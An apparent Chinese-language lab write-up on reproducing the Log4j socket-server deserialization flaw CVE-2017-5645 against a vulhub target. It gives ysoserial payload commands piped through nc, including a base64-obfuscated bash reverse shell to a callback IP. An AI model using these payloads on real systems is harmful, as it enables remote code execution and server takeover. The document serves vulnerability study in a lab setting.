Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)
漏洞简介
Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。
Apache Log4j
在应用程序中添加日志记录最普通的做法就是在代码中嵌入许多的打印语句,这些打印语句可以输出到控制台或文件中,比较好的做法就是构造一个日志操作类来封装此类操作,而不是让一系列的打印语句充斥了代码的主体。 Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。 Log4j在工程中可以易用,方便等代替了 System.out 等打印语句,它是 Java下最流行的日志输入工具,一些著名的开源项目,像spring、hibernate、struts都使用该 工具作为日志输入工具,可以帮助调试(有时候debug是发挥不了作用的)和分析。
漏洞原理
CVE-2017-5645漏洞是由于Log4j在处理某些类型的序列化数据时,没有进行充分的验证和过滤,导致攻击者可以通过构造恶意序列化数据来执行任意命令。在Java的反序列化过程中,如果一个类的Class对象无法被Java虚拟机找到,则会尝试通过URL来下载这个类。攻击者可以利用这个机制,构造一个恶意序列化数据包,其中包含指向恶意代码的URL,当Log4j反序列化这个数据包时,就会执行恶意代码。
要复现CVE-2017-5645漏洞,首先需要确保目标系统上安装了受影响的Log4j版本。攻击者可以通过向目标系统发送恶意序列化数据包来利用该漏洞。:
- 攻击者构造一个恶意序列化数据包(例如:恶意XML文件),其中包含指向恶意代码的URL。
- 攻击者将恶意序列化数据包发送到目标系统的Log4j日志接收器中。
- Log4j接收到数据包后,尝试进行反序列化操作。
- 在反序列化过程中,Log4j会尝试从URL下载恶意类的Class对象,从而执行恶意代码。
影响版本
Log4j<2.8.2
环境搭建
使用vulhub的靶场,开启后该环境默认端口为4712
漏洞复现
工具下载:https://github.com/frohoff/ysoserial
ysoserial是在常见的java库中发现的一组实用程序和面向属性的编程“小工具链”,在适当的条件下,可以利用执行对象不安全反序列化的Java应用程序。主驱动程序接受用户指定的命令,并将其封装在用户指定的小工具链中,然后将这些对象序列化为stdout。当类路径上具有所需小工具的应用程序不安全地反序列化该数据时,将自动调用该链并导致在应用程序主机上执行该命令。
下载后使用maven打包成jar文件进行使用,也可以直接下载jar包
创建文件
java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/success" | nc 192.168.19.199 4712
反弹shell
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjE1NS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" | nc 192.168.60.129 4712
用shiro反序列化的ysoserial-0.0.6-SNAPSHOT-all.jar也可以
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 192.168.60.129 4712
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjE1NS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" | nc 192.